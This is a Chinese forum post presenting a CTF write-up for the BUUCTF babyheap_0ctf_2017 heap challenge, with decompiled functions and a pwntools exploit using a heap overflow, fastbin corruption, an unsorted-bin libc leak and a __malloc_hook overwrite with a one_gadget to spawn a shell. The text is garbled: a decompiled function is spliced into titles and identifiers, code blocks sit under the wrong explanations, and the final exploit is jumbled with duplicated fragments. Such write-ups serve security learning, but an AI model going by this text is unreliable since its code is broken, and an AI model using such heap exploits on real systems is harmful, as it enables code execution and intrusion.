袂沐 发表于 2025-9-25 10:43:34

BUUCTF-babyheap_0ctf_2017题解(含详细过程与思路分析)

一、题目来源

BUUCTF-Pwn-babysigned int __fastcall Dump(__int64 a1)
{
signed int result; // eax
signed int v2; //

printf("Index: ");
result = input_longint();
v2 = result;
if ( result >= 0 && result <= 15 )
{
    result = *(_DWORD *)(24LL * result + a1);
    if ( result == 1 )
    {
      puts("Content: ");
      puts_content(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8));
      result = puts(byte_14F1);
    }
}
return result;
}_0ctf_2017
二、信息搜集

将题目给的可执行文件丢入Linux虚拟机中
通过file命令查看文件类型:

通过checksec命令查看本题采用的保护机制:

注意:
我的Ubuntu版本与题目版本不一致,为了消除libc版本不同的干扰,于是我使用了pwninit
不清楚这个工具的可以上网搜搜,对解题思路的理解没有任何的影响
三、反汇编文件开始分析

将题目给的二进制文件丢入64位的Ida Pro中进行反汇编操作
看到汇编代码比较多,为了快速理解程序大致逻辑,我们通过

[*]看C语言的方式来理解程序逻辑
[*]边运行程序边看代码
首先看到main函数:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 v4; //

v4 = sub_B70(a1, a2, a3);
while ( 1 )
{
    sub_CF4();
    sub_138C();
    switch ( (unsigned __int64)off_14F4 )
    {
      case 1uLL:
      sub_D48(v4);
      break;
      case 2uLL:
      sub_E7F(v4);
      break;
      case 3uLL:
      sub_F50(v4);
      break;
      case 4uLL:
      sub_1051(v4);
      break;
      case 5uLL:
      return 0LL;
      default:
      continue;
    }
}
}结合程序运行情况

可以将上述反编译出来的C语言代码进行重命名操作:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char *v4; //

v4 = mmap_a_place_for_struct_of_signed int __fastcall Dump(__int64 a1)
{
signed int result; // eax
signed int v2; //

printf("Index: ");
result = input_longint();
v2 = result;
if ( result >= 0 && result <= 15 )
{
    result = *(_DWORD *)(24LL * result + a1);
    if ( result == 1 )
    {
      puts("Content: ");
      puts_content(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8));
      result = puts(byte_14F1);
    }
}
return result;
}();
while ( 1 )
{
    menu();
    input_longint();
    switch ( (unsigned __int64)off_14F4 )
    {
      case 1uLL:
      Allocate((__int64)v4);
      break;
      case 2uLL:
      Fill((__int64)v4);
      break;
      case 3uLL:
      Free((__int64)v4);
      break;
      case 4uLL:
      Dump((__int64)v4);
      break;
      case 5uLL:
      return 0LL;
      default:
      continue;
    }
}
}switch的几个分支非常好理解,就是和程序运行出来的几个选项是一一对应的
简单解释一下“menu”和“input_longint”

[*]menu:点进该函数就能看到几个选项的输出,因此我将其重命名为menu(菜单)
[*]input_longint:点进该函数,简单分析后就能看出该函数的作用就是一个一个地将输入缓冲区的输入读入某个指定位置,再将该输入进行atol转型成long int类型的数据,因此将其命名为input_longint
既然有四个功能,我们就逐一进行分析
但是,在分析之前,需要注意到这四个函数都传入了一个参数v4
v4来源于一个函数sub_B70(a1, a2, a3);的返回值
我们点进去查看一下:
char *mmap_a_place_for_struct_of_signed int __fastcall Dump(__int64 a1)
{
signed int result; // eax
signed int v2; //

printf("Index: ");
result = input_longint();
v2 = result;
if ( result >= 0 && result <= 15 )
{
    result = *(_DWORD *)(24LL * result + a1);
    if ( result == 1 )
    {
      puts("Content: ");
      puts_content(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8));
      result = puts(byte_14F1);
    }
}
return result;
}()
{
int fd; //
char *addr; //
__int64 v3; //
unsigned __int64 buf; //
unsigned __int64 v5; //
unsigned __int64 v6; //

v6 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
alarm(0x3Cu);
puts("===== Baby Heap in 2017 =====");
fd = open("/dev/urandom", 0);
if ( fd < 0 || read(fd, &buf, 0x10uLL) != 16 )
    exit(-1);
close(fd);
addr = (char *)((buf
               - 93824992161792LL * ((unsigned __int64)(0xC000000294000009LL * (unsigned __int128)buf >> 64) >> 46)
               + 0x10000) & 0xFFFFFFFFFFFFF000LL);
v3 = (v5 - 3712 * (0x8D3DCB08D3DCB0DLL * (unsigned __int128)(v5 >> 7) >> 64)) & 0xFFFFFFFFFFFFFFF0LL;
if ( mmap(addr, 0x1000uLL, 3, 34, -1, 0LL) != addr )
    exit(-1);
return &addr;
}可以看到一些很长很复杂的数字,但是我们只需要把握关键信息即可
我们要的是返回值,即&addr;
addr又来自函数mmap,这函数相信大家再熟悉不过了,就是用于动态申请一片空间,且该函数还能设置对该空间的权限
参数v3的计算比较复杂,我们可以先继续分析下去,若不需要该参数那最好,如果需要我们再说
综上,这个函数就是开辟一片空间,也可以看到我将其命名为了“mmap_a_place_for_struct_of_signed int __fastcall Dump(__int64 a1)
{
signed int result; // eax
signed int v2; //

printf("Index: ");
result = input_longint();
v2 = result;
if ( result >= 0 && result <= 15 )
{
    result = *(_DWORD *)(24LL * result + a1);
    if ( result == 1 )
    {
      puts("Content: ");
      puts_content(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8));
      result = puts(byte_14F1);
    }
}
return result;
}”(当然这个命名目前来看有点超前了,大家不用在意)
接下来我们逐个分析这四个关键函数
1、Allocate

对应代码:
void __fastcall Allocate(__int64 a1)
{
signed int i; //
signed int v2; //
void *v3; //

for ( i = 0; i <= 15; ++i )
{
    if ( !*(_DWORD *)(24LL * i + a1) )
    {
      printf("Size: ");
      v2 = input_longint();
      if ( v2 > 0 )
      {
      if ( v2 > 4096 )
          v2 = 4096;
      v3 = calloc(v2, 1uLL);
      if ( !v3 )
          exit(-1);
      *(_DWORD *)(24LL * i + a1) = 1;
      *(_QWORD *)(a1 + 24LL * i + 8) = v2;
      *(_QWORD *)(a1 + 24LL * i + 16) = v3;
      printf("Allocate Index %d\n", (unsigned int)i);
      }
      return;
    }
}
}不难看出,本函数的功能就是通过for循环的方式,找到之前申请的空间(V4)中无数据的地方(!*(_DWORD *)(24LL * i + a1) ),接着动态申请(calloc)用户指定大小的空间(上限4096),若申请成功,则将刚刚找到的空白位置((_DWORD *)(24LL * i + a1))的第一个8字节处赋值为1,第二个8字节处赋值为本次通过calloc申请的chunk大小,第三个8字节赋值为该chunk的地址

由此,我们可以分析出V4这片区域的作用:

[*]专门用于存放动态申请的chunk的相关信息,信息共24字节

[*]0-7字节:是否申请chunk成功,成功为1;未申请时为0
[*]8-15字节:申请的chunk的大小,此大小不包含chunk header
[*]16-23字节:申请的chunk所在的地址

[*]最多能存放16个chunk的信息(i = 0; i = 0 && (signed int)result0 )      {      printf("Content: ");      result = sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);      }    }}return result;}有了之前的铺垫,就很好理解了
用户输入index,他就能定位到指定的chunk的相关信息(那24个字节),他会先判断那片区域是否有chunk的信息((_DWORD)result == 1),然后再向用户要Size信息,该信息会作为sub_11B2函数的一个参数
那我们来看看函数sub_11B2
__int64 __fastcall Fill(__int64 a1)
{
__int64 result; // rax
int v2; //
int v3; //

printf("Index: ");
result = input_longint();
v2 = result;
if ( (signed int)result >= 0 && (signed int)result <= 15 )
{
    result = *(unsigned int *)(24LL * (signed int)result + a1);
    if ( (_DWORD)result == 1 )
    {
      printf("Size: ");
      result = input_longint();
      v3 = result;
      if ( (signed int)result > 0 )
      {
      printf("Content: ");
      result = sub_11B2(*(_QWORD *)(24LL * v2 + a1 + 16), v3);
      }
    }
}
return result;
}不难理解,这就是一个改版的read函数,输入的位置是*(_QWORD *)(24LL * v2 + a1 + 16)即chunk的user data部分,输入的长度是我们之前指定的大小(Size)
讲到这,大家应该已经看出来了,这里存在堆溢出啊!
目前还没看出具体的利用手段,先在这留个心眼
3、Free

对应代码:
unsigned __int64 __fastcall sub_11B2(__int64 a1, unsigned __int64 a2)
{
unsigned __int64 v3; //
ssize_t v4; //

if ( !a2 )
    return 0LL;
v3 = 0LL;
while ( v3 < a2 )
{
    v4 = read(0, (void *)(v3 + a1), a2 - v3);
    if ( v4 > 0 )
    {
      v3 += v4;
    }
    else if ( *_errno_location() != 11 && *_errno_location() != 4 )
    {
      return v3;
    }
}
return v3;
}此时我们可以动态调试一下,看一下实际情况是否符合我们的预期,调试代码:
__int64 __fastcall Free(__int64 a1)
{
__int64 result; // rax
int v2; //

printf("Index: ");
result = input_longint();
v2 = result;
if ( (signed int)result >= 0 && (signed int)result <= 15 )
{
    result = *(unsigned int *)(24LL * (signed int)result + a1);
    if ( (_DWORD)result == 1 )
    {
      *(_DWORD *)(24LL * v2 + a1) = 0;
      *(_QWORD *)(24LL * v2 + a1 + 8) = 0LL;
      free(*(void **)(24LL * v2 + a1 + 16));
      result = 24LL * v2 + a1;
      *(_QWORD *)(result + 16) = 0LL;
    }
}
return result;
}运行,在新出来的gdb终端输入命令:
signed int __fastcall Dump(__int64 a1)
{
signed int result; // eax
signed int v2; //

printf("Index: ");
result = input_longint();
v2 = result;
if ( result >= 0 && result <= 15 )
{
    result = *(_DWORD *)(24LL * result + a1);
    if ( result == 1 )
    {
      puts("Content: ");
      puts_content(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8));
      result = puts(byte_14F1);
    }
}
return result;
}正如我们分析的一样,fastbin中已经有两个chunk了,且根据fd指针能知道该单链表的情况如下:

4、通过堆溢出修改fd指针

先保持上面的动态调试不退出,我们先来看看溢出需要填充什么数据
我们设计的是chunk0用于溢出,那么就从chunk0开始看
很明显:

[*]写入位置在0x6042af3ac010
[*]需要被覆盖的fd指针在0x6042af3ac050
我们在覆盖的同时,尽量不要动不需要动的信息
换言之就是尽量保持原样
因此,我们的payload就是:
from pwn import *

exe = ELF("./pwn_patched")
libc = ELF("./libc-2.23.so")
ld = ELF("./ld-2.23.so")

context.binary = exe
context(arch="amd64",os="linux",log_level="debug")


def conn():
    if args.LOCAL:
      r = process()
      if args.DEBUG:
            gdb.attach(r)
    else:
      r = remote("node5.buuoj.cn",26330)

    return r

def allocate(p,size):
    p.sendlineafter(b'Command: ',b"1")
    p.sendlineafter(b'Size: ',str(size))

# 输入的内容(content)部分需要是字节类型
def fill(p,index,content):
    p.sendlineafter(b'Command: ',b"2")
    p.sendlineafter(b'Index: ',str(index))
    p.sendlineafter(b'Size: ',str(len(content)))
    p.sendlineafter(b'Content: ',content)

def free(p,index):
    p.sendlineafter(b'Command: ',b"3")
    p.sendlineafter(b'Index: ',str(index))

def dump(p,index):
    p.sendlineafter(b'Command: ',b"4")
    p.sendlineafter(b'Index: ',str(index))

def main():
    p = conn()

    p.interactive()

if __name__ == "__main__":
    main()解释一下最后的p8(0x80)
在内存中的十六进制数是按照小端序(本题信息搜集的时候,知道本题是小段序(little))进行排列的,换言之,我们要覆盖的fd部分在覆盖前内存中的样子是:
allocate(p,0x10) # chunk 0
allocate(p,0x10) # chunk 1
allocate(p,0x10) # chunk 2
allocate(p,0x10) # chunk 3
allocate(p,0x80) # chunk 4而我们的目的,是将链条链接到chunk4上,即只需要修改最低有效位(0x20)成0x80(因为chunk4的地址0x6042af3ac080),也就是修改最低地址的一字节的数据就好了,因此使用的是p8(0x80)
检查一下是否和我们想的一样,老方法,动态调试
只要把
free(p,1)
free(p,2)挪到新输入的内容后面即可(后面不再提本步骤!)
发现的确如此,此时Fast Bin中变成了:

此时chunk4虽然没有被free,但已经存在于bin中,若此时在此申请chunk,根据程序Allocate的功能,又会出现一个指向chunk4的结构,也就是完成了双指
5、再次动态申请chunk4

在申请之前,有两个问题:

[*]Fast Bin符合LIFO,即后进先出,那么先出的就是chunk2而非chunk4,因此我们需要Allocate两次
[*]malloc的检查
malloc的检查什么意思呢?
我们知道,在Fast Bins中,每个Fast Bin里面的chunk的大小都是一致的
换言之,原先chunk1的size大小是0x21(1是三位flag,不会计入实际大小,因此该chunk的大小为0x20),那么chunk1就会被存储在chunk大小都为0x20的Fast bin中
那当我们再次malloc一个0x10大小的chunk的时候(malloc指定的大小是不含chunk header的(占0x10)),就会去chunk大小都为0x20的Fast bin中去查找,但是此时找到一个大小为0x90的chunk,malloc就会检查出异常,因而程序终止
因此,我们在申请之前,再通过堆溢出(这次通过chunk3来,因为近),修改chunk4的size字段,将其修改为0x21,从而绕过判断
代码如下:
#!/usr/bin/env python3

from pwn import *

exe = ELF("./pwn_patched")
libc = ELF("./libc-2.23.so")
ld = ELF("./ld-2.23.so")

context.binary = exe
context(arch="amd64",os="linux",log_level="debug")


def conn():
    if args.LOCAL:
      r = process()
      if args.DEBUG:
            gdb.attach(r)
    else:
      r = remote("node5.buuoj.cn",26330)

    return r

def allocate(p,size):
    p.sendlineafter(b'Command: ',b"1")
    p.sendlineafter(b'Size: ',str(size))

# 输入的内容(content)部分需要是字节类型
def fill(p,index,content):
    p.sendlineafter(b'Command: ',b"2")
    p.sendlineafter(b'Index: ',str(index))
    p.sendlineafter(b'Size: ',str(len(content)))
    p.sendlineafter(b'Content: ',content)

def free(p,index):
    p.sendlineafter(b'Command: ',b"3")
    p.sendlineafter(b'Index: ',str(index))

def dump(p,index):
    p.sendlineafter(b'Command: ',b"4")
    p.sendlineafter(b'Index: ',str(index))

def main():
    p = conn()

    gdb_script = f'''
    '''

    allocate(p,0x10) # chunk 0
    allocate(p,0x10) # chunk 1
    allocate(p,0x10) # chunk 2
    allocate(p,0x10) # chunk 3
    allocate(p,0x80) # chunk 4

    free(p,1)
    free(p,2)

    gdb.attach(p,gdbscript = gdb_script)
    pause()

    p.interactive()


if __name__ == "__main__":
    main()此时就实现了双指

同样,动态调试验证一下:
这里有个问题,就是我们之前提到的开辟的空白空间v4是不确定位置的
但是若要看到双指,就需要去v4空间才能看到
我们同样在动态调试界面,查看一下虚拟内存映射

我们知道,通过mmap动态申请的内存具有特点:

[*]大小0x1000字节(mmap(addr, 0x1000uLL……)
[*]该空间不会被内核标记为signed int __fastcall Dump(__int64 a1)
{
signed int result; // eax
signed int v2; //

printf("Index: ");
result = input_longint();
v2 = result;
if ( result >= 0 && result <= 15 )
{
    result = *(_DWORD *)(24LL * result + a1);
    if ( result == 1 )
    {
      puts("Content: ");
      puts_content(*(_QWORD *)(24LL * v2 + a1 + 16), *(_QWORD *)(24LL * v2 + a1 + 8));
      result = puts(byte_14F1);
    }
}
return result;
},而是会与现有内存空间“粘”在一起
因此,我们运行两次动态调试代码,并都使用vmmap命令查看内存映射空间

发现有明显变化的在上面部分,我们可以一点一点地查看
直到发现:
1不就是标记吗?0x10不就是大小吗?
没错,这里就是存放chunk信息的地方
而且可以看到,index2和index4所对应的chunk是同一个,都是chunk4

6、free chunk4 to Unsorted Bin

接下来就是泄露的预处理部分了,即先让chunk4进入Unsorted Bin
之前也提到过,要让其进入Unsorted Bin需要满足两个条件:

[*]释放(free)的chunk大小不属于fast bin的范围
[*]该chunk不和top chunk紧邻时
关于第一条,我们只需要将其大小改回去(0x21 -> 0x91),然后free即可
关于第二条,由于chunk4是最晚申请的,他就挨着top chunk,我们也可以通过动态调试来验证这一点

很明显,0x……090 + 0x90 = 0x……110,他们就是挨着的
为了满足条件二,我们可以再申请一个chunk5,让chunk4与top chunk分开
于是payload:
heap动态调试看看效果:

chunk4成功进入unsortedbin,且出现特征:“如果usorted bin中只有一个bin ,那么它的fd和bk指针会指向同一个地址,就是unsorted bin链表的头部”
7、libc基址的计算

计算libc基址,我们需要知道以下知识点:

[*]“small bins, large bins, unsorted bin统一存放在malloc_state这个结构体中的一个数组中”
[*]malloc_state是属于main_arena的
[*]main_arena是一个全局变量,位于libc的数据段
因此,如果我们知道上述情况中的fd指针/bk指针所指向的地址,那我们也就相当于知道了main_arena的基址(根据固定的偏移量),也就是知道了libc的基址(根据固定的偏移量)
很明显,接下来我们要做的就是偏移量的确定
(1)泄露的fd所指向的地址与main_arena的偏移量

之前动态调试我们知道了fd指向的地址是0x751a6fd8eb78
通过命令:
payload = p64(0)*3
payload += p64(0x21)
payload += p64(0)*3
payload += p64(0x21)
payload += p8(0x80)
fill(p,0,payload)
可以看到,虽然我们使用的是查看内存中存储的数据的命令,但是在显示结果的同时,pwndbg插件还自动帮我们计算出来了该地址(我们访问的内存地址)与main_arena基址之间的差值
差值为88B即0x58B
(2)main_arena与libc基址的偏移量

pwntools提供了边界的方法:
\x20\xc0……\x60\x00\x00(3)本步骤的payload

    gdb.attach(p,gdbscript = gdb_script)
    pause()我们此时直接运行Poc,看一下效果:

可以看到libc的地址计算出来了,并且是一个页对齐的地址,很符合一个libc基址的样子
8、__malloc_hook

目标:修改__malloc_hook为one_gadget的地址
手段:House Of Spirit
因此,我们需要再次在Fast Bin中放入chunk,然后修改fd指针完成链接的重定向
关键点来了,我们上面讲过:

[*]同一链接下的chunk的大小相同
[*]malloc会检查bin中的数据大小
我们最终的目的是在__malloc_hook附近创建chunk然后写入数据,实现任意地址写入
而实现任意地址写入的方法就是修改链条的指向(指向__malloc_hook附近的那块地址,作为伪chunk)
因此,我们需要通过__malloc_hook附近的伪size字段的大小来决定我们需要申请的chunk的大小是多少
这里很绕,大家可以多理解理解
是在理解不了的可以看看最终的Poc组成,想想“为什么这么做?”这个问题
通过动态调试观察__malloc_hook附近是否有作为伪chunk的好地方

发现有连续的8字节可以作为我们的伪chunk的size,精确定位一下:

红线划着的地址就是伪chunk的地址,伪size就是0x7a了
注意,伪size的大小可能会变化,大家根据自己的实际情况来
但是本题是有ALSR、PIE的,因此该地址最好与泄露出来的libc地址进行联系,即算差值
vmmap查看内存映射

确定libc基址是0x7a01d628a000
计算差值:

差值就是0x3c4aed
此时,我们也可以确定要放入fastbin中chunk的大小了,就是0x70(即Allocate(0x60))
为什么0x70就可以呢,0x70也不等于0x7a啊?
因为malloc检查的是大致的范围并不是精确范围
于是,我们可以构造payload:
    payload = p64(0)*3
    payload += p8(0x21)
    fill(p,3,payload)

    allocate(p,0x10) # index1指向chunk2
    allocate(p,0x10) # index2指向chunk4,由于chunk4并非常规free,还有原本的index4也指向chunk4补充一下伪chunk写入数据的部分的相关分析:
我们写入数据的地方在0x7a01d664eafd

__malloc_hook的地方在:0x7a01d664eb10

他们之间的差值为:0x13,即19

那么我们的padding就是0x13,即对应payload:
    # 大小改回去
    payload = p64(0) * 3
    payload += p64(0x91)
    fill(p,3,payload)

    '''
    由于chunk4接近top chunk
    为了能让其顺利进入unsorted bin,先申请一个chunk5,让chunk4与top chunk分开
    '''
    allocate(p,0x80)

    # chunk4被放入unsorted bin
    free(p,4)接着就是写入one_gadget的地址到__malloc_hook的位子了,对应:
x/gx 0x751a6fd8eb78one_gadget的寻找:

尝试几个后,还是libc_base+0x4526a这个one_gadget靠谱
9、getshell

再次调用malloc
from pwn import *
main_arena_offset = libc.symbols['main_arena']就会执行one_gadget,即getshell
10、完整的Poc

#!/usr/bin/env python3from pwn import *exe = ELF("./pwn_patched")libc = ELF("./libc-2.23.so")ld = ELF("./ld-2.23.so")context.binary = execontext(arch="amd64",os="linux",log_level="debug")def conn():    if args.LOCAL:      r = process()      if args.DEBUG:            gdb.attach(r)    else:      r = remote("node5.buuoj.cn",26330)    return rdef allocate(p,size):    p.sendlineafter(b'Command: ',b"1")    p.sendlineafter(b'Size: ',str(size))# 输入的内容(content)部分需要是字节类型def fill(p,index,content):    p.sendlineafter(b'Command: ',b"2")    p.sendlineafter(b'Index: ',str(index))    p.sendlineafter(b'Size: ',str(len(content)))    p.sendlineafter(b'Content: ',content)def free(p,index):    p.sendlineafter(b'Command: ',b"3")    p.sendlineafter(b'Index: ',str(index))def dump(p,index):    p.sendlineafter(b'Command: ',b"4")    p.sendlineafter(b'Index: ',str(index))def main():    p = conn()    gdb_script = f'''    '''    allocate(p,0x10) # chunk 0   allocate(p,0x10) # chunk 1    allocate(p,0x10) # chunk 2    allocate(p,0x10) # chunk 3    allocate(p,0x80) # chunk 4    free(p,1)    free(p,2)    payload = p64(0)*3    payload += p64(0x21)    payload += p64(0)*3    payload += p64(0x21)    payload += p8(0x80)    fill(p,0,payload)#!/usr/bin/env python3

from pwn import *

exe = ELF("./pwn_patched")
libc = ELF("./libc-2.23.so")
ld = ELF("./ld-2.23.so")

context.binary = exe
context(arch="amd64",os="linux",log_level="debug")


def conn():
    if args.LOCAL:
      r = process()
      if args.DEBUG:
            gdb.attach(r)
    else:
      r = remote("node5.buuoj.cn",26330)

    return r

def allocate(p,size):
    p.sendlineafter(b'Command: ',b"1")
    p.sendlineafter(b'Size: ',str(size))

# 输入的内容(content)部分需要是字节类型
def fill(p,index,content):
    p.sendlineafter(b'Command: ',b"2")
    p.sendlineafter(b'Index: ',str(index))
    p.sendlineafter(b'Size: ',str(len(content)))
    p.sendlineafter(b'Content: ',content)

def free(p,index):
    p.sendlineafter(b'Command: ',b"3")
    p.sendlineafter(b'Index: ',str(index))

def dump(p,index):
    p.sendlineafter(b'Command: ',b"4")
    p.sendlineafter(b'Index: ',str(index))

def main():
    p = conn()

    gdb_script = f'''
    '''

    allocate(p,0x10) # chunk 0
    allocate(p,0x10) # chunk 1
    allocate(p,0x10) # chunk 2
    allocate(p,0x10) # chunk 3
    allocate(p,0x80) # chunk 4

    free(p,1)
    free(p,2)

    gdb.attach(p,gdbscript = gdb_script)
    pause()

    p.interactive()


if __name__ == "__main__":
    main()    # 改回chunk4的大小,为了其能被放入unsorted bin    payload = p64(0) * 3    payload += p64(0x91)    fill(p,3,payload)    '''   由于chunk4接近top chunk    为了能让其顺利进入unsorted bin(根据定义:该`chunk`不和`top chunk`紧邻时,    该`chunk`会被首先放到unsorted bin中),先申请一个chunk5,让chunk4与top chunk分开    '''    allocate(p,0x80)    # chunk4被放入unsorted bin    free(p,4)    offset_unsortedbin = 0x58    offset_main_arena = libc.symbols['main_arena']    dump(p,2)    p.recvline(2)    leak_bin1 = u64(p.recv(8))    print(hex(leak_bin1))    libc_base = leak_bin1 - offset_unsortedbin - offset_main_arena    print(f'leaked_libc_base : {hex(int(libc_base))}')    allocate(p,0x60)    free(p,4)    # gdb.attach(p,gdbscript = gdb_script)    # pause()    payload = p64(libc_base+0x3c4aed)    fill(p,2,payload)    allocate(p,0x60)    allocate(p,0x60)    # 大小改回去
    payload = p64(0) * 3
    payload += p64(0x91)
    fill(p,3,payload)

    '''
    由于chunk4接近top chunk
    为了能让其顺利进入unsorted bin,先申请一个chunk5,让chunk4与top chunk分开
    '''
    allocate(p,0x80)

    # chunk4被放入unsorted bin
    free(p,4)    payload += p64(libc_base+0x4526a)    fill(p,6,payload)    from pwn import *
main_arena_offset = libc.symbols['main_arena']    p.interactive()if __name__ == "__main__":    main()本地测试:

成功拿下本地shell
远程测试:

成功拿下flag!
六、本题学习资料推荐

本题涉及到的知识点很多
而且如果大家是顺着刷BUUCTF-Pwn题目的,这个应该是大家遇到的第一个堆类型的Pwn
从栈到堆是一个很大的跨越,需要学习堆的相关知识(比如数据结构)
没有基础知识的支撑是做不出这题的,所以推荐大家先去ctf-wiki上学习一下堆的基础知识
再结合本文章来pwn掉这道题!
记住,慢慢来,你终会理解并解决这道题的!

来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
页: [1]
查看完整版本: BUUCTF-babyheap_0ctf_2017题解(含详细过程与思路分析)